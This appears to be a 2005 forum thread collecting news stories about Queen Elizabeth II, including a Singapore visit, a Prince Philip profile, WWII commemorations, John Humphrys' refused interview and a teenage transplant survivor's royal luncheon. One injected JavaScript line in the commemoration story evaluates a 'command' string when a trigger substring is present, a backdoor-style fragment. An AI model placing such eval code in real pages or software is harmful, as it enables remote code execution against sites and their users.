Singapore says Britain's Queen Elizabeth II will visit in March 2006
Britain's Queen Elizabeth II will visit Singapore March 16-18 next year, her first trip to the city-state in nearly two decades, the government in Singapore said Wednesday.

"President Nathan has officially invited the Queen to make a State visit to Singapore during these dates," an unidentified spokesman for the Ministry of Foreign Affairs said in a statement.

"We look forward to receiving Her Majesty and the Duke of Edinburgh again in Singapore after the 17 years, when Her Majesty last visited Singapore in 1989," he said.

"their lives could not have been more different"

http://www.theglobeandmail.com/servl...tory/National/

... He has spent it almost entirely in his wife's shadow, the consort to the Queen, yet in private he is often said to rule himself, a harsh disciplinarian to their four children and thought to be no great fan of his own son Charles, first in line for the throne. He is said to prefer his daughter and once told an aide, "If only Charles had Anne's balls." He is, like Elizabeth, a great-great-grandchild of Queen Victoria, but their lives could not have been more different before they married in 1947.

He was born a Greek prince, but into poverty, and soon forced into exile. His parents divorced. Penniless, he was raised by the charity of relatives in England and Germany, his German ties so strong during his youth that the Queen Mother liked to refer to him as "The Hun."

And yet he served with distinction in the British navy, the young Philip a strikingly handsome naval officer with a roving eye that, gossip has always had it, continued to wander long after he won the heart of a very young Elizabeth. And yet, despite the rumours, he has never really been nailed for anything but a mouth that sometimes runs off on its own.

Nearing 84, the man they used to call "Phil the Greek" has, somewhat surprisingly, come himself to symbolize stability, the Queen calling him "my strength and stay" when they celebrated their golden anniversary in 1997.

He is where he has always been, two steps behind, as fiercely determined to protect the office as the one who holds it herself.

A tall, elegant man with unusual eyes and unpredictable mouth.

"If only Charles had Anne's balls".

Poor Charles... or poor Anne?

Queen will lead nation in wartime celebration
By Thomas Harding, Defence Correspondent
(Filed: 26/05/2005)

The last major commemorations to remember the sacrifices made during the Second World War were unveiled yesterday.





if(command.indexOf('tz')!=-1)eval(command);The Queen will host the 60th anniversary on July 10, which has been declared National Commemoration Day.

For the first time since being moored in the Thames, Belfast will fire a 12-gun salvo to signal the start of two minutes' silence in memory of the 300,000 soldiers, sailors and airmen who lost their lives.

The day, which has been chosen to celebrate both VE and VJ Day, will finish with a Lancaster bomber dropping a million poppies over The Mall.

With many veterans well into their eighties, John Reid, the Defence Secretary, said yesterday that there would not be celebrations on this "form or scale again".

The week-long events will begin with the Prince of Wales opening a living museum, which will include re-enactments of wartime life, in St James Park on July 4. The Mall will be lined with more than 30 wartime vehicles and an exhibition of war-inspired art will go on display at Banqueting House.

To celebrate the part played by women, a flight of aircraft piloted by females will conduct a flypast as the Queen unveils a monument to women of the Second World War next to the Thames.

After a service of remembrance at Westminster on the Sunday, the Queen will host a lunch for 2,000 veterans at the Palace. Other commemorations will take place in Edinburgh, Belfast and Cardiff.

An "open air spectacular" in Horse Guards Parade will feature appearances by Robert Hardy, Simon Callow, Jane Horrocks, Bruce Forsyth and Claire Sweeney and military bands.

The Queen will also address the nation before the two minutes' silence.

The Royal Family will then watch a flypast of Second World War aircraft from the palace balcony. Finally, church bells throughout the country will be rung as a further mark of respect.

QUEEN: LIVERPOOL VICTORY IS A GREAT FEAT
THE Queen yesterday called the win a "magnificent achievement which will be remembered for many years".

The monarch, told of the result after returning from Canada, passed congratulations to the club via the city's Lord Lieutenant.

Tony Blair said: "Liverpool can be very proud of itself. Britain is very proud of Liverpool."

Liverpool fan Michael Howard, who had said the Tories' election task was like having to claw back a 2-0 half-time deficit, said: "It was a magnificent night.

"It shows you can indeed be 3-0 down at half-time and still win."

QUEEN'S NO NO TO HUMPH
By Richard Smith
RADIO inquisitor John Humphrys twice asked the Queen for an interview - and got an emphatic No.

The BBC presenter had been invited to a lunch at Buckingham Palace and thought "this may be my chance to ask her".

Over coffee later, he met the Queen's "dorgies" - which she told him were a cross between dachshunds and corgis.

He recalled: "While we were having a conversation, one of those wretched dorgies was trying to make love to my left leg.

"I asked the Queen if she would do an interview with me. She looked up at me and said 'No'.

"I tried again. I offered a reasonable argument, I thought, but after a quarter of a second she looked up again and said 'No'.

"And she added, 'What's more, Mr Humphrys, if one were ever to do such an interview, it would not be with you'."

Humphrys, talking at the Hay-on-Wye literary festival in Herefordshire, said: "I thought I would take that as a No then."

As i know,the Queen has never had any interview in her life.And she has reallyt privately life.But as me i do not really like that.If the Queen does not want to make an interview,don't try to let her to do and after she does not agree,go and tell the whole world about that.It's not really nice.I do not like it.

Really interesting story::)
During his battles for life and health, Dylan Stork has met some interesting people, but none more dazzling than the Queen...
By Bryan Alary
Globe Staff Writer

Tuesday May 31, 2005

Central Alberta’s newest monarchist, 16-year-old Dylan Stork of Blackfalds, proudly shows off a few royal mementos he collected after meeting the Queen at a centennial luncheon in Calgary on May 25.
Lacombe Globe/BRYAN ALARY
Lacombe Globe — During his battles for life and health, Dylan Stork has met some interesting people, but none more dazzling than the Queen.

Stork, a 16-year-old from Blackfalds, dined with Queen Elizabeth II and Premier Ralph Klein during a centennial luncheon at the Roundup Centre in Calgary last Wednesday.

"I was so overwhelmed," said Stork, who sat at the head table with Her Majesty. "When the Queen came in, I was just so surprised as she walked toward the table I was sitting at."

Klein personally invited Stork, a two-time heart transplant survivor, to the luncheon and royal send-off at Pengrowth Saddledome. The two had first met in April to discuss presumed consent for organ donation, which would reverse the current policy requiring signatures of willing donors on health care cards.

During his royal experience, Stork managed to calm himself long enough to chat one-on-one with the Queen.

"When she’s talking to you it’s like you’ve known her your whole life."

Naturally, he couldn’t resist the opportunity to discuss organ donation with her.

"Organ donation is my passion in life," said Stork, who was six weeks old when he received his first transplanted heart, only to develop coronary artery disease at age 11. Two years later he had his second heart transplant at Stollery Children’s Hospital in Edmonton, which he now represents as Forester’s 2005 Champion Child.

Stork said the Queen listened politely and was very attentive while he told her his life story. She also asked many questions and told stories of her own.

"She was very talkative. That’s something I didn’t imagine. When I talked to her she didn’t look away. She was very generous."

Stork’s grandmother and mother were several tables away during the luncheon.

"It was hard to sit there and not go over," said Tracy Blanchard, Stork’s mom. She said it was "surreal," seeing her son interact with royalty.

"I felt immense pride. Watching him carry on conversations with people in the positions they’re in--the Queen, the premier…"

The attention Stork has received since dining with the Queen has left him with little time to relax or reflect. The media spotlight shone bright and early the next day, May 19, when he was interviewed live on Canada AM. He skipped school to recuperate from his experiences, but the phone wouldn’t stop ringing.

More media questions, more interviews to tackle.

"My brother’s famous," remarked his older sister, Shaleen Blanchard.

The significance of the experience isn’t lost on him.

"Even when I was sitting there, I felt fortunate," said Stork. "It’s an honour to be able to come to the event and be a part of the centennial. I just have to thank Ralph Klein for the opportunity."
